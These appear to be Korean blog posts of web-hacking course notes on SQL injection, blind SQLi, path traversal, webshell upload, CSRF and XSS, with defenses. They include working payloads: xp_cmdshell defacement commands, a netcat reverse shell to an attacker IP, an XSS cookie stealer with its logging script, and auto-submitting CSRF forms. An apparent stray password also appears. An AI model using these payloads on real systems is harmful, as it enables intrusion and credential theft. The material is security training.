'Web'에 해당되는 글 16건

  1. 2014.11.14 wapple / APT
  2. 2014.11.13 SQL / personal data
  3. 2014.11.12 sql injection
  4. 2014.11.11 SQL Injection
  5. 2014.11.10 file download
  6. 2014.11.06 webshell and defense of it
  7. 2014.11.05 CSRF
  8. 2014.11.04 CSRF
  9. 2014.10.30 advanced web
  10. 2014.10.29 tools and searching vulnerabilities
2014. 11. 14. 14:34
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

실제 웹서버  <---->     wapple      <---->  유저/ 공격자

192.168.0.110        192.168.0.124


-> 유저는 192.168.0.124를 웹서버로 알고 공격하면 wapple로 인해 로그가 남는다 



wapples 트러블슈팅.txt


wapples_기본세팅_최종.txt


wapples_초기세팅.txt


교육자료-웹방화벽(WAPPLE).pdf



-------------



APT

Advanced Persistent Threat

지능형 지속 공격



지능형 지속 공격은 특정 기관, 기업 그룹등을 공격하기 위해 만들어진 악성코드 형태를 의미


공격 대상이 명확하며 장기간에 걸쳐 지속적인 공격이 이뤄지는 것이 특징으로 

격 감지율이 매우 낮고 피해 규모가 큼


주요 공격 무기는 '제로데이 공격'이 주무기 




APT공격을 이용한 OWASTP TOP 10 


시나리오 



서버 침투

서버 내의 쇼핑몰 정보 획득


대외비 문서 탈취


쇼핑몰 취약점 탐지 














'Web' 카테고리의 다른 글

SQL / personal data  (0) 2014.11.13
sql injection  (0) 2014.11.12
SQL Injection  (0) 2014.11.11
file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
Posted by af334
2014. 11. 13. 14:42
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.


sql injection.pdf



----------------



OWSAP


1. Injection 

1. 인증 우회 

2, 시스템 명령어 실행

3. 정보 조회 


- blind sql injection 


2. XSS 

<script>alert("test")</script>

어플리케이션에서 순수하게 동작되는 것 외에 일어나는 악의적인 행위


3. Broken Authentication and session Management (취약한 인증과 세션관리)

1.



...

.

...





------------------



개인 정보 


DLP (Data Lose Prevention ) 데이터 유출 방지


Network DLP

네트워크상에 개인정보 유출 여부


EndPoint DLP

저장장치, 출력물, 통신 수단 등을 통한 유출 여부


Discovery

로컬 디스크 및 파일 서버 등에 보관된 기밀 정보 유출 여부 



sms980502!


..\ProgramData\Somansa


config /

config/ security 




























'Web' 카테고리의 다른 글

wapple / APT  (0) 2014.11.14
sql injection  (0) 2014.11.12
SQL Injection  (0) 2014.11.11
file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
Posted by af334
2014. 11. 12. 13:22
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

1. 인증우회 


(1) 우회 패턴


or 'abc'='abc'

or 'ab'='a'+'b'

or 2>1

or 1=1


(2) 주석문 이용 우회


'--

)'--

';--



2. 시스템 명령어 실행


두가지 이상 명령어를 실행할때에는 세미콜론(;)을 사용한다.

exec : sql문이나 프로시저를 실행할 때 앞에 위치하여 사용하는 명령어.



[폴더생성] admin';exec master..xp_cmdshell 'md c:\inetpub\wwwroot\board\abc'--

       -> mkdir



[파일생성] ';exec master..xp_cmdshell 'echo defaced by SSS > c:\inetpub\wwwroot\index.html'--   

[HTML 페이지 생성] admin';exec master..sp_makewebtask 'c:\inetpub\wwwroot\sql.html','select * from board..member'--

[암호변경] ';exec sp_password '111111','222222','sa'--

[DB 다운 ] 'shutdown--

         


3. 테이블 명 획득


- group by 절이 어떤 칼럼을 기준으로 그룹을 만들때 having은 결과를 한번더 필터링하는 역할을한다.

  select절의 where와 비슷하다.


[테이블 및 필드명 획득] 'having 1=1--


 

4. 컬럼 명 획득


- 컬럼명을 추가적으로 획득하기 위해서는 최소한 하나의 컬럼을 알고 있어야 한다.


[다른 필드명 획득] 'group by [컬럼명]--



[추가 필드명 획득 'group by [컬럼명],[컬럼명]--


    .

    .

    . 

    .

    .

    .

    .

    .

[실습] member 테이블과 bbs 테이블 컬럼명을 모두 추출하시오.



5. 컬럼 타입 획득


- UNION과 sum() 함수를 이용하여 필드 타입을 알 수 있다.



[쿼리분석기] select sum(idx) from member


[쿼리분석기] select sum(bId) from member


[컬럼 데이터형 획득] 'union select sum(bId) from member



[실습] member 테이블과 bbs 테이블 컬럼의 데이터형을 모두 추출하시오.




6. 계정 획득하기


- 테이블 명과 컬럼명을 획득한 후, union 연산을 통해 결과 값이 게시판에 출력할 수 있다.


- union 은 복합적인 쿼리의 결과를 합하여 출력하기 때문에 필드의 개수가 일치해야 하고, 

  필드의 타입이 일치해야 한다.


  # union 은 중복데이터를 하나만 표기, union all 은 중복데이터를 모두 표시



[실습] 마구마구 게시판에 존재하는 모든 계정의 id,pw를 획득하시오.




7. 테이블 내용 조작하기(계정추가하기)


[실습] sql injection을 사용해서 계정을 추가해보자.



-----------



1. 에러 구문 발생 

  group by having 

'having 1=1--

 -> 테이블명 첫번째 컬럼 확인 





2. 컬럼명을 추출

group by : 특정 컬럼을 집계/요약하기 위해 사용


'group by idx--

member.bId

idx,Bid,bPass????


'group by idx,bId,bPass, ~~~bDate--




'group by idx, bId, bPass, bName,bPost, bAddr1,bAddr2, bPhone, bMail, bDate --

 -> 해당 컬럼 수 확인 에러가 아니라 팝업창이 뜨는 걸 보고 확인 




' group by idx, tId, tName, tMail, tTitle, tContent, tfilename, tfilepath, tRead, tDate--

-> 검색창에서 컬럼 수 확인 


'order by 10 --

    -> 추측한 컬럼수가 맞는지 확인 

-> 9도 문제 없이 뜨지만 실질적으로는 에러 나기 전까지가 컬럼의 개수이다



 2. 컬럼명 데이터 추출


'union select 1, 2, nul,null,null...   -> 컬럼의 데이터 타입 확인 


'union select 1,'a','b','c','d','e','f','g','h',1 from member --





sql 1차.txt


sql 2차(1).txt


-----------


방어 


404 : 요청한 페이지를 찾을 수 없다 ( 클라이언트 오류-요청에 대한 오류)

500 : 서버 오류 


-> 500,500;100 에러를 404에러로 바꾸어서 에러가 뜨지 않게 방어 

-> 제어판 -> 관리 도구 -> 인터넷 서비스 관리자 -> 해당서버 등록 정보 -> 오류 처리 탭



------



Blind SQL Injection 

-> 에러 구문이 없어도 공격 가능 



' and 1=1--

' and 1=2--



1. db명

' and db_name()='board'--

' and db_name()='board'--


' and substring(db_name(),1,1)='b'--

' and substring(db_name(),2,1)='o'--

' and substring(db_name(),3,1)='a'--

' and substring(db_name(),4,1)='r'--

' and substring(db_name(),5,1)='d'-- 


...


' and substring(db_name(),8,1)=''--   // db명 문자 수 확인 


substring 함수 : 문자열에서 특정 부분을 반환하는 함수 

substring(가져올 문자열, 시작할 순서, 가져올 문자수)



2. 테이블명


select * from sysobjects;


xtype

u : 사용자 테이블

s : 시스템 테이블

l : 로그 

v : 뷰


select * from sysobjects where xtype='U'; 

select name from sysobjects where xtype='U'; 

select top 1 name from sysobjects where xtype='U'; 

   -> 맨 위에 것만 


member 

bbs


' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='m'--

' and substring((select top 1 name from sysobjects where xtype='U'),6,1)=''--


sysobjects : db에서 만들어진 각 개체에 대한 정보 조회 

      컬럼에 대한 정보를 포함 테이블을 가져올 때 사용



3. 컬럼 

select * from syscolumns

syscolumns : 모든 테이블 및 뷰의 모든 컬럼에 대한 한 레코드 값 확인 

select * from sysobjects where xtype='U';



select * from syscolumns where id=(select id from sysobjects where name like 'member');


select name from syscolumns where id=(select id from sysobjects where name like 'member');


select top 3 name from syscolumns where id=(select id from sysobjects where name like 'member');



select * from syscolumns where id=(select id from sysobjects where name like 'bbs');





select substring((select top 1 name from syscolumns where id=(select id from sysobjects where name like 'member')),1,1);


' and substring((select top 1 name from syscolumns where id=(select id from sysobjects where name = 'member')),1,1)='b'--



------------


http://testasp.vulnweb.com/showforum.asp?id=0



'and select * from sysobjects --


'group by uname --

'group by uname, upass --


uname  upass



...

...





'Web' 카테고리의 다른 글

wapple / APT  (0) 2014.11.14
SQL / personal data  (0) 2014.11.13
SQL Injection  (0) 2014.11.11
file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
Posted by af334
2014. 11. 11. 16:02
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

SQL Injection 


SQL : DB에서 데이터를 조작하거나 접근할 수 있게 하는 언어




-> asp mysql windows200으로 구성되어 있는 서버 기반으로 실습



DB (Database)

데이터를 보관하는 저장소이다

일반적으로 회원가입, 게시물 등록을 할 때 해당 데이터를 DB에 보관하게 되며, 다시 열람, 수정, 삭제를 할때 참조하게 된다.


DBMS (Database management System)

DB를 관리하는 소프트웨어를 뜻한다



DDL : 정의어

create : 생성

alter : 수정

drop : 삭제


DML : 조작어    -> 주로 보안, sql injection에서 많이 다룸 

select : 조회

insert : 추가

delete : 삭제

update : 수정        


DCL : 제어어

commit : 적용

rollback : 복원

grant : 권한 부여

revoke : 권한 삭제



------------


DB 구성

열을 column 또는 field라고 한다

행을 row 또는 record(column안에 들어있는 값)라고 한다



DB   - 테이블 - 컬럼 - 레코드

학교 -   학년  -   반  -   학생 





-----------


create database time;


use time;


create table test(월 text,  화 text, 수 text, 목 text, 금 text, 토 text);


select * from test;


insert into test (월, 화, 수, 목, 금, 토) values('수학','영어','체육','미술','국어','미술');

->text 자료형은 single quote 사용하여 값 입력




int   text   int     int    int        int    text

idx  이름  나이   키  몸무게   자산  직업



where : 조회할 특정한 정보값을 뽑아내기 위한 조건 값

     어떠한 값을 불러올지 컬럼명 지정



select * from cast where ;


select * from cast where 자산 >=200 and 몸무게 >=60;

      or


select * from cast where 이름 like '주원';

select * from cast where 이름 like '%원';

-> 임의의 문자 -> %





select sum(나이) from cast;

   -> 합을 구하는 함수 사용



select * from cast order by 나이 asc; 


-> order by : 반환하는 레코드의 순서

-> asc : 오름 차순 

-> desc : 내림 차순



----------


sql Injection 

1. 인증 우회 -> 세션 관리 취약점 (관리자 페이지 노출)

2. 시스템 명령어 실행

3. 정보 조회 



쿼리 비교 

select * from member where bId='admin' and bPass='1234';   -> SQL 분석기

strSQL = "Select * From member Where bId = '" & userid & "' and bPass= '"& pwd & "'"   -> 웹상



admin'--   -> 아이디 창에 입력하면 비번 없이 관리자로 로그인이 되었다.


select * from member where bId='admin'--' and bPass='1234'; 

 -> 뒷 부분은 주석처리 됨 

 -> and는 둘다 true 라야 true


select * from member where bId='admin' and bPass='' or 1=1--


select user_id, user_pw frim menber where user_id='kim' and passwd='' or 1=1--




products_db.txt


sqlinjection 2.txt


sqlinjection 3.txt

sqlinjection 4.txt





---------


blind sql injection 






'Web' 카테고리의 다른 글

SQL / personal data  (0) 2014.11.13
sql injection  (0) 2014.11.12
file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
CSRF  (0) 2014.11.05
Posted by af334
2014. 11. 10. 17:19
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

file down load


파일 다운로드 기능을 가진 웹 어플리케이션에서 파일명이 제대로 검사되지 않는 경우

Directory Traversal 등에 의해 다른 위치에 있는 파일도 다운로드 가능

부적절한 환경설정에 의해 Source code 파일이나, backup 파일등이 다운로드 가능

  ex) 개발자의 편의상 사용하는, .inc .txt  .bak 등의 확장자를 제어하지 않는 경우 다운로드 가능




파일 다운로드 로직 

1. 절대 경로 -> 개발자의 부주의

2. 상대 경로 -> 어플리케이선의 취약점


윈도우의 경우 : ../../../../../boot.ini

     ..%2F..%2F..

     ..%5C..%5C





------------



방문자에게 허용된 파일외의 다운로드

웹서버의 소스 및 기밀문서 다운로드

FileDownload 기능의 웹 어플리케이션에서 파일명 필터링 못할 경우 



우회 URL 요청

.../filedownload.php?path=../../../../../../../../../etc/passwd




------------



1.jpg 를 다운 받을때 확장자를 넣을때 소문자만 인식하면 리눅스 계열이다 라는 팁


filedownload.zip




http://192.168.0.75/board/pds/예제.jpg

http://192.168.0.75/../../../../../../board/dbconn.inc


dbconn.inc : 시스템 부팅정보 파일



<%

Set objconn = Server.CreateObject("ADODB.Connection")
objConn.Open "PROVIDER=SQLOLEDB; DATA SOURCE=(local); INITIAL CATALOG=board; USER ID=sa; PASSWORD=111111"
%>

-> 소스 유출 



-------------------


방어 소스



<?

ob_start();

$filename = $_GET['path'];

$filename = trim($filename);

$dir = "c:\apm_setup\htdocs\data";



if(strstr($filename,"../")||strstr($filename,"..%2f"))    //문자 존재 여부 

{

echo "<script>alert("잘못된 경로입니다.")</script>";

echo "<script>location.href('/index.html')</script>";

exit();

}

//추가된 부분 (방어 소스) -> 다운로드 경로 입력받을 시에 서버에서 문자열 필터링을 함



if(file_exists($dir.$filename))

{

 Header("Content-Type: application/octet-stream");

 Header("Content-Disposition: attachment;; filename=$filename");

 Header("Content-Transfer-Encoding: binary");

 Header("Content-Length: ".(string)(filesize($dir.$filename)));

 Header("Cache-Control: cache, must-revalidate");

 Header("Pragma: no-cache");

 Header("Expires: 0");

 

 $fp = fopen($dir.$filename, "rb");

    while(!feof($fp)) {

     echo fread($fp, 100*1024);

    }

 fclose ($fp);

 flush();

}

else{

 echo "<script>alert(\"File not found.\");</script>";

 echo "<script>location.href('/index.html')</script>";

}



?>



-> 물리적으로 웹 소스가 존재하는 서버와 분리하여 격리하기도 함

--------

Session Management vulnerabilities

인증 및 세션은 인증이 필요한 페이지를 의미하며, 취약점이 발생하는 페이지는 누구나 접근이 가능한 페이지를 말한다.


관리자 페이지 접근 미흡 -> 관리자 페이지 노출 취약점

1. 구글링으로 취약점을 찾을 수 있음
inurl:/admin/index.asp
inurl:/admin/login.asp
inurl:/admin site:kr
...
...


2. 추측성으로 위약점 확인 가능
.../admin
   /adm
   /manager
  ...

-> sql injection  -> 인증 우회
-> 패스워드 크래킹

방어 : ip접근 제한 (서버에서만 접근 가능하게 설정)

관리자 페이지명을 어렵게 설정(추측하지 못하도록 설정)

http://192.168.0.75/board/board_delete.asp?num=52
   -> 글 번호 수정 하여 jumping


다른 사용자 게시물 수정 및 삭제 가능 -> URL Jumping 취약점 (url 강제 요청)
-> csrf와는 다른 개념 
추측가능한 수정 관련 키워드 : edit, modify
추측가능한 삭제 관련 키워드 : delete, del
추측가능한 생성 관련 키워드 : write, create

방어 : 각페이지마다 세션검증 해야 함

정보수정을 통한 서비스 접근 -> 쿠키변조 취약점


-----------


쿠키 변조 


정보수정을 통한 서비스 접근

본인의 쿠키값을 가지고 변조


방어 : 중요한 정보값은 세션으로 검증해야함

   쿠키값을 가지고 검증하지 않도록 함



http://61.76.181.76/cookie/index.php




rot-13 암호화 방식




---------


sql injection 











'Web' 카테고리의 다른 글

sql injection  (0) 2014.11.12
SQL Injection  (0) 2014.11.11
webshell and defense of it  (0) 2014.11.06
CSRF  (0) 2014.11.05
CSRF  (0) 2014.11.04
Posted by af334
2014. 11. 6. 14:56
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

file upload


자료실과 같은 사용자들의 업로드가 가능한 웹 애플리케이션

서버 사이드 언어로 작성된 webshell 업로드를 통한 서버 권한 탈취

업로드 되는 파일의 확장자 필터링이 되지 않을시




서버 사이드 언어 : jsp, php, asp

웹쉘 : 업로드 취약점을 통해서 시스템 명령을 내릴 수 있는 코드

         보안시스템을 피하여 별도 인증없이 서버에 접근 가능 

         asp면 asp 웹쉘, jsp면 jsp 웹쉘...  

            ->  해당 사이트에 맞게끔 확장자를 확인한 후 공격 필요 




서버측 - 파일 업로드 권한 설정

 폴더 설정  ex. C:\Inetpub\wwwroot\board\pds\



netcat을 통한 리버스 텔넷 



공격

nc.exe -l -p 8080(대기포트)



대상

nc.exe (서버에 업로드)

nc.exe -e cmd.exe 공격자IP 8080

c:\Inetpub\wwwroot\board\pds\nc.exe -e cmd.exe 공격자IP 8080




1. cmd.asp 웹서버에 업로드

2. nc.exe

3. http -> tcp를 사용 하지만 연결지향적 성격을 버렸다 

                     -> 매번 절대경로를 입력해 주어야 함 


4. 웹쉘 상에서 절대 경로 확인 

     -> dir c:\nc.exe /s /a


c:\Inetpub\wwwroot\board\pds 디렉터리 2014-11-06 01:23p 61,440 nc.exe 1개 파일 61,440 바이트 전체 파일: 1개 파일 61,440 바이트 0 디렉터리 6,747,512,832 바이트 남음




5.공격자 대기 상태

6. 대상의 위치에서 공격자가 미리 업로드한 웹쉘로  nc명령어를 실행 -> 리버스 텔넷 

    -> c:\Inetpub\wwwroot\board\pds\nc.exe -e cmd.exe 192.168.0.140 8080





fileupload.zip





---------------



# 웹쉘 실행 가능 확장자

ASP : cer, cdx, asa

   -> 제어판 -> 관리도구 -> 인터넷 서비스 관리자 

PHP : php3, html, htm

JSP : war



# 웹쉘 체크 로직

1. 확장자 체크

2. content type 체크

    -> Content-Type: text/plain

content-type.txt


If UploadForm("UPFILE").Mimetype<>"image" Then
Response.Write "no image file"
Response.End
End if

-> 위 소스를 웹서버 페이지의 소스에 같다 붙여서 방어 

Content-Disposition: form-data; name="UPFILE"; filename="C:\Users\Public\Pictures\Sample Pictures\Desert.jpg"
Content-Type: image/jpeg
-> paros로 잡아서 확인 
         -> 우회가능 

  

.htaccess

-> 웹쉘 확장자 변경 유용( php type 변경)

     서버의 디렉터리 권한을 차등 부여하는데 쓰임 


r57.php

-> 확장자 변경해도 기능 구현됨, php




3. ;, %00, %zz를 이용하여 우회


test.jpg;.asp -> test.asp

test.jpg%00.asp -> test.asp

test.jpg%zz.asp -> test.asp





# 파일업로드 대응 방안

1. 업로드 폴더의 스크립트 실행 권한을 제거

    제어판 -> 관리도구 -> 인터넷 서비스 관리자 -> 홈디렉터리 -> 실행권한 설정


2. 화이트 리스트 방식 허용

    -> jpg, gif .... 


3. 파일이름을 난수화(변경) 하여 저장

    -> cmd.asp -> cmd.sdfdfs


4. 확장자를 강제로 변경시켜 저장

    -> cmd.asp -> cmd.aspx / cmd.as


5. Database에 저장 

    


-> 3,4,5 방식을 쓰되 2번도 함께 사용 



------------------



참고 함수 (Instr, InstrRev, Mid, Left, Ucase)

Instr 함수 : 한 문자열 안에 특정 문자열이 (좌측에서 부터의 ) 처음으로 나타난 위치를 반환한다

InstrRev 함수 : 한 문자열 안에 특정 문자열이 (우측에서 부터의) 처음으로 나타난 위치를 변환한다



Left 함수 : 변수의 왼쪽부터 차례대로 지정한 개수 만큼 뽐아 올때 사용한다.

Lcase 함수 : 스트링에 있는 모든 문자들을 소문자로 변경하는 함수이다.

Ucase 함수 : 스트링에 있는 모든 문자들을 대문자로 변경하는 함수이다.




Instr, InstrRev, lef, mid, Lcase

-----------------------------------------------------------------------------

Dim name         //변수 name선언

name = Mid(filename,InstrRev(filename,".")+1,3) 

                                                    //name 변수에 내용 넣기, asp확장자 추출하여 저장 

name = left(name,3)

name = Lcase(name)

If 0 < Instr(name,"bmp") then

elseif 0 < Instr(name,"gif") then

elseif 0 < Instr(name,"jpg") then        // 화이트리스트 방식의 방어 

else

Response.Write("<script>alert('not image file!')</script>")

Response.Write("<script>location.href('http://192.168.0.x/board/board_list.asp')</script>")

Response.end

End if


-> 우회를 해도 성공되지 않는 소스 



--------------------------------



1. What

웹 해킹 방법 중 가장 영향력이 크고 쉬움

(매우 간단하면서 강력한 공격)


2. Why

해커의 근본적 목표 : 시스템 권한 탈취

FileUpload 취약점을 이용한 공격을 이용하여 시스템 권한 탈취가 쉽게 가능


3. Attack Test

웹 쉘이라는 파일이 있음

이 파일이 업로드가 가능하다면 웹 브라우저에서 쉘과 똑같이 사용이 가능함

넷캣(netcat; nc)의 리버스 텔넷을 이용하여 하면 웹 서버에서 쉘을 사용하는 것처럼 사용 가능

확장자를 서버 확장자(SSS) 방식으로 업로드 해야함

업로드가 성공한다면 제대로 돌아가는지 확인해야함

만약 해당 확장자는 업로드 불가능 한다고 하면 가장 먼저 해야 할 것은?

클라이언트에서 검증하는지를 확인

클라이언트에서 검증한다면 우회를 업로드 가능

서버에서 검증한다고 하면 다른 우회 방법을 살펴봐야 함


4. Impact

물리적으로 공인 아이피, 사설 아이피 나누어져 있어서 한번에 외부망에서 내부망 침투 불가능

파일 업로드 공격으로 서버 권한을 얻어서 공격이 가능



5. Security

파일 업로드는 복합적으로 보안해야 함

1) 업로드 폴더의 스크립트 실행 권한을 제거

업로드 되는 폴더에 쓰기 권한, 실행 권한을 없애면 업로드 되더라도 실행 불가


2) 화이트리스트 방식 허용 

가장 핵심적인 보안 방안

jpg, bmp 등의 안전하다고 판단되는 확장자만 업로드 가능하도록 함

* 3, 4번은 국내 어플리케이션이 많이 사용함 (제로보드, 그누보드 등)


3) 파일 이름을 난수화 하여 저장

ex) cmd.asp -> 21jeojksaldjsklfjl 이런 식으로 해시값으로 저장됨

원래 파일명을 디비에 기재하고 누가 다운 받으려고 하면 디비에서 원래 값 참조해서 바꿈

아무 확장자가 없기 때문에 실행해도 아무 의미 없음


4) 확장자를 강제로 변경시켜 저장

ex) cmd.asp ->cmd.xaspx

앞 뒤로 특수한 영문을 넣는 등 어플리케이션의 기능을 못하도록 함


5) DB에 저장

파일 업로드할 때 웹 서버 하드디스크에 저장하지 않고, DB에 저장하는 방법

그러면 웹 서버에 저장하는 것보다 더 안전해짐


6) 물리적 분리

웹 서버와 파일 업로드하는 서버를 분리하여 파일 업로드를 이용한 공격으로 웹 서버에 침투하는 공격 방어 

 


fileupload정리.txt










'Web' 카테고리의 다른 글

SQL Injection  (0) 2014.11.11
file download  (0) 2014.11.10
CSRF  (0) 2014.11.05
CSRF  (0) 2014.11.04
advanced web  (0) 2014.10.30
Posted by af334
2014. 11. 5. 14:54
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

관리자 비밀번호 변경 공격


<body onload="document.s_form.submit();">

<form name="s_form" id="s_form" action="/malladmin/main.php"

method="post" onSubmit='return install_check(this);'>

<input type="hidden" name="menushow" value="menu1">

<input type="hidden" name="theme" value="basicconfig/basic_info2">

<input type="hidden" name="action" value="admin_save">

<input type="hidden" value="admin" name="ID"/>

<input type="hidden" value="admin" name="ADMIN_NAME" />

<input type="hidden" value="1111" name="PASS" />

<input type="hidden" value="1111" name="PASS1" />

</form>




포인터 변조 공격 


<body onload="document.csrf.submit();">

<form name="csrf" action='/lib/ajax.admin.php' method="post">

<input type="hidden" name="query" value="update">

<input type="hidden" name='oldid' value='hackhack12'>

<input type="hidden" name="smode" value="in_point">

<input type="hidden" value="userid" name="hackhack12"/>

<input type="hidden" value="point" name="9999" />

<input type="hidden" value="type" name="point" />

</form>



'Web' 카테고리의 다른 글

file download  (0) 2014.11.10
webshell and defense of it  (0) 2014.11.06
CSRF  (0) 2014.11.04
advanced web  (0) 2014.10.30
tools and searching vulnerabilities  (0) 2014.10.29
Posted by af334
2014. 11. 4. 14:47
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

CSRF 


공격자가 작성해 놓은 request를 통해 일어나는 악위적인 공격

자신의 의도와는 다른 액션이 발생




차이 


xss : 악성 스크립트가 사용자 클라이언트에서 일어남

csrf : 인증 완료된 자신의 권한으로 서버에 요청



---------


.75 -> 웹서버

.140 -> 공격자 IP




<form name="csrf" action="board_update_reg.asp" method="POST">


<input type="text" name="user" value="admin">

<input type="text" name="title" value="test">

<input type="text" name="contents" value="test">

<input type="text" name="idx" value="">

<input type="submit" value="">

</form>



------------

<body onload="document.csrf.submit();">   
<form name="csrf" action="board_update_reg.asp" method="POST">

<input type="hidden" name="user" value="admin">
<input type="hidden" name="title" value="공지사항">
<input type="hidden" name="contents" value="공지사항입니다

모임회비 : 5만원
국민 123-123-123 ">
<input type="hidden" name="idx" value="3">

</form>

-> 임의로 관리자 권한으로 3번 글 수정

---------------------

<body onload="document.csrf.submit();">    
<form name="csrf" action="board_delete.asp" method="GET">
<input type="hidden" name="num" value="5">
</form>


-> 임의로 관리자의 권한으로 글 삭제 


---------



<body onload="document.csrf.submit();">    

<form name="csrf" action="board_write_reg.asp" method="POST" ENCTYPE="multipart/form-data">

<input type="hidden" name="title" value="">

<input type="hidden" name="content" value="">

</form>


-> 임의로 글 작성 



-> 소스에서 쓰는 name값을 써주어야함 (ex. name="content  ||    name="contents" )



------------------





<iframe src="http://192.168.0.140/1.html" width=0 height=0></iframe>



--------


1.html  소스 



<body onload="document.csrf.submit();">    

<form name="csrf" action="http://192.168.0.140/board_write_reg.asp" method="POST" ENCTYPE="multipart/form-data">

<input type="hidden" name="title" value="공지이이이이">

<input type="hidden" name="content" value="공지사항이니 주의깊게 읽으시길">

</form>




----------


<body onload="document.csrf.submit();">

<form name="csrf" action="http://192.168.0.75/board/board_update_reg.asp" method="POST">

<input type="hidden" name="user" value="admin">

<input type="hidden" name="title" value="공지이이이이">

<input type="hidden" name="content" value="공지사항이니 주의깊게 읽으시길">

<input type="hidden" name="idx" value="12">

</form>



-><iframe> 태그로  임의로 글 수정 




-----------------



<iframe src="http://192.168.0.75/board/board_delete.asp?num=12" width=0 height=0></iframe>



-> 임의로 게시글 지우기 

-> URL 창에서 http://192.168.0.75/board/board_delete.asp?num=12 입력해도 가능 


-> 서버의 각기 다른 파라미터 값을 파악하는 것이 주요 



del = delete 

update = modify = edit

...

...




-------------------------


1. what 

: 공격자가 작성해 놓은 악의적인 글을 통해서 희생자의 의도와는 다른 행위가 일어나는 공격 


2. why

html 사용에 의해 일어남

xss와 근본적으로 원인이 같음


victim : 사용자, 관리자


3. attack test 

우선 xss 공격이 일어나는 것을 확인 후 

소스 보기를 활용해서 공격 (오픈 소스일 경우 공격 성공 확률이 높음)



4. impact 

타인의 글을 수정, 삭제, 생성 가능 

(타인의 의도와 상관없이 발생)


5. security

xss와 같음

html encoding(화이트리스트 방식 적용)








'Web' 카테고리의 다른 글

webshell and defense of it  (0) 2014.11.06
CSRF  (0) 2014.11.05
advanced web  (0) 2014.10.30
tools and searching vulnerabilities  (0) 2014.10.29
googling  (0) 2014.10.28
Posted by af334
2014. 10. 30. 14:15
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

XSS

cross site scripting  



css와 헛갈리지 않기 

client side script 



--------------



XSS

스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작외에 

부정적으로 일어나는 액션



피해 

-> 웜, 바이러스 배포

-> 세션 재사용 공격 -> 쿠키값으로 공격, 쿠키 탈취 

-> CSRF 공격 -> 크게 다르지 않지만 공격 소스가 다름 

-> 피싱공격



1. 공격측 서버 구축 ampsetup

2. 클라이언트에서 특정한 값을 파라미터로 넘겨줄때 받아서 저장하는 프로그램 작성

    cookie.php




<? 


$cookie=$_GET['data'];   // GET 방식으로 데이터를 쿠키에 저장

 

$atime=date("y-m-d H:i:s");    // 값을 넘겨 받았을 때 시간(년-월-일 시:분:초)


$log=fopen("data.txt","a");     //파일이 없으면 파일 생성 후 작성, 

   파일이 있으면 마지막 포인트로 가져가 작성


fwrite($log,$atime." ".$cookie."\r\n");     //해당 변수에 저장된 내용 작성


fclose($log);    //해당 파일 작성 끝(닫기)


echo "<img src=http://공격측 IP/i2sec.jpg width=220 height=150></img>"; 

//해커 서버에 있는 이미지 출력 


?>   //php 작성종료





3. 게시판 업로드 할 코드

    board.txt


<html>


<head>i2sec</head>


<title>i2sec edu</title>      


<script>window.open("http://192.168.0.140/cookie.php?data="+document.cookie,"small","width=150,height=220,scrollbars=no,menubar=no")</script>                                           

//window.open: 새로운 윈도우 창

window.open("url","창이름","옵션")

즉, 인터넷창을 열어 이 글을 읽는 유저의 쿠키값을 data에 넣어 공격자IP/cookie.php에 보내는 코드 



-> 팝업창 이름  "small"


-> 의심받지 않기 위해 크기를 줄여 주는 옵션 

     "width=150,height=220,scrollbars=no,menubar=no"


</html>


xss.zip




---------------------



Stored XSS

게시물과 같은 DB에 저장되는 형태 




Reflective XSS

클라이언트에서는 보이지만 서버에 저장되지 않음

공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출 

-> 검색창에 직접 <script>구문을 작성 



----


1. xss 정의 (whar?: 공격에 대한 정의 )

 : 스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작 외에 부정적으로 일어나는 행위 

   (순수하게 제공되는 동작: 관리자가 의도한 기능 ex) 게시판 글 작성, 파일 업로드 등..)



2. 왜 발생하나?(why?:발생 이유)

    html 사용

    -> 모든 파라미터에 대해 검사를 할 수 없기 때문에 발생 

    피해자는 누구인가?(who)

    -> 관리자, 사용자 



3. 취약점 존재 유무 확인은 어떻게 하나?

    (attack test: 존재 유무확인/공격방법 확인)

    <script>alert("test")</script>

    <script>alert(document.cookie)</script> 


테스트 할 수 있는 곳: 검색란, 글 작성 시-내용, 제목, 작성자 

회원정보 수정-주소 




4. 어떠한 영향이 일어나나? (impact: 문제/영향)

- 웜, 바이러스 발생

- 세션 하이재킹(세션 재사용)공격 -> 쿠키 탈취 

- csrf공격으로 이어짐 (xss 존재시 90%정도 발생함)

   -> 큰 틀은 비슷하나 공격 코드가 조금 다름 



5. 어떤 방법으로 방어를 하나? (security:보안 대책)

- html encoding으로 방어 (html 화이트 리스트 방식)

















'Web' 카테고리의 다른 글

CSRF  (0) 2014.11.05
CSRF  (0) 2014.11.04
tools and searching vulnerabilities  (0) 2014.10.29
googling  (0) 2014.10.28
session and cookie  (0) 2014.10.27
Posted by af334
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

TOOLS 




KISA whois 

sysinternals whois 



whosip -r 호스트이름(ip)


whosip.zip



---------




nmap 


netcat - 배너 수집, 포트스캐닝, 리버스 텔넷




httpwatch 

웹사이트 모니터링 툴이며 IE 및 firefox를 지원. 

각 페이지 처리시간과 Request, Header, cookie정보 제공.

개발자들이 개발 완료 후에 최종적으로 확인 용도로 사용함 


shift + F2


-> 크롬에서는 사용 불가 

-> paros와 유사 




